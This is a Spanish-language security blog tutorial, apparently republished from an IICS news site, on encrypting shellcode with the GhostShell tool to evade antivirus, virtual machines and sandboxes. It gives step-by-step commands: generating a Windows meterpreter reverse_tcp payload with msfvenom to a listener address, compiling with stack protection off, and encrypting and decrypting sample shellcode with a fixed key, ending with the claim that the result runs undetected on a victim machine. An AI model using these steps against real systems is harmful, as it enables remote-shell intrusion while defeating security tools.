INTRODUCCIÓN
El shellcode es la siguiente fase en la búsqueda de un exploit para completar un ataque. Todos los hackers requieren de un shellcode para comprometer el sistema objetivo, por lo que esta herramienta es fundamental para lograr un ataque devastador; incluso el cifrado de shellcode juega un papel importante para que el malware pueda eludir las medidas de seguridad, como antivirus, máquinas virtuales y entornos de sandbox.
Hoy lo guiaremos en la revisión de una técnica para cifrar shellcode diseñada por los investigadores del Instituto Internacional de Seguridad Cibernética (IICS) para probar malware en entornos controlados.
ENTORNO
- Sistema Operativo: Kali Linux 2019.3 64bit
- Versión de Kernel: 5.2.0
PASOS DE INSTALACIÓN
- Use el siguiente comando para clonar el proyecto
- git clone https://ift.tt/2TrdDuA
root@kali:/home/iicybersecurity# git clone https://github.com/ReddyyZ/GhostShell Cloning into 'GhostShell'... remote: Enumerating objects: 27, done. remote: Counting objects: 100% (27/27), done. remote: Compressing objects: 100% (27/27), done. remote: Total 185 (delta 15), reused 0 (delta 0), pack-reused 158 Receiving objects: 100% (185/185), 4.49 MiB | 1.60 MiB/s, done. Resolving deltas: 100% (91/91), done.
- Use el comando cd para ingresar al directorio ghostshell
root@kali:/home/iicybersecurity# cd GhostShell/ root@kali:/home/iicybersecurity/GhostShell#
- Usamos msfvenom para generar y generar diferentes tipos de shellcode y es una interfaz de línea de comandos
- Ahora, vamos a generar shellcode usando msfvenom. Use este comando para generar shellcode
- msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=80 -f c
- Generamos con éxito el shellcode
- Ahora, usemos el siguiente comando para compilar el archivo de código del proyecto de Github
- gcc -m32 -fno-stack-protector -z execstack encrypt_shellcode.c -o encrypt_shellcode
- Luego, usando este comando genera el archivo encrypt_shellcode. Use el comando ls para ver el archivo
root@kali:/home/iicybersecurity/GhostShell# gcc -m32 -fno-stack-protector -z execstack encrypt_shellcode.c -o encrypt_shellcode root@kali:/home/iicybersecurity/GhostShell# ls assets encrypt_shellcode encrypt_shellcode.c LICENSE main.c main.h README.md
- Supongamos que el siguiente es nuestro shellcode
\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1
- Ahora, podemos cifrar el shellcode usando este comando
- Formato del comando: ./ encrypt_shellcode e “key” “shellcode”
- e: cifra el shellcode
- clave: \xde\xad\xbe\xef
root@kali:/home/iicybersecurity/GhostShell# ./encrypt_shellcode e "\xde\xad\xbe\xef" "\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1" Encrypted: \x4e\xac\xbd\xee\xc7\x48\xbd\xee\xdd\xad\x81\x18\xa4\x22\x7f
- Ahora, podemos descifrar el shellcode usando este comando
- Formato del comando: ./ encrypt_shellcode d “clave” “shellcode”
- D: descifrar el shellcode
root@kali:/home/iicybersecurity/GhostShell# ./encrypt_shellcode d "\xde\xad\xbe\xef" "\x4e\xac\xbd\xee\xc7\x48\xbd\xee\xdd\xad\x81\x18\xa4\x22\x7f" Decrypted: \x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1
CONCLUSIÓN
Vimos cómo cifrar y descifrar el shellcode usando la clave única. Si el shellcode se ejecuta en la máquina de la víctima, no se detecta en la máquina remota.
El cargo COMO GENERAR SHELLCODE PARA EVADIR LOS ANTIVIRUS, MÁQUINAS VIRTUALES Y SANDBOXES [PASOS] apareció primero en Noticias de seguridad informática | Ciberseguridad | Hacking.
Ver Fuente
No hay comentarios.:
Publicar un comentario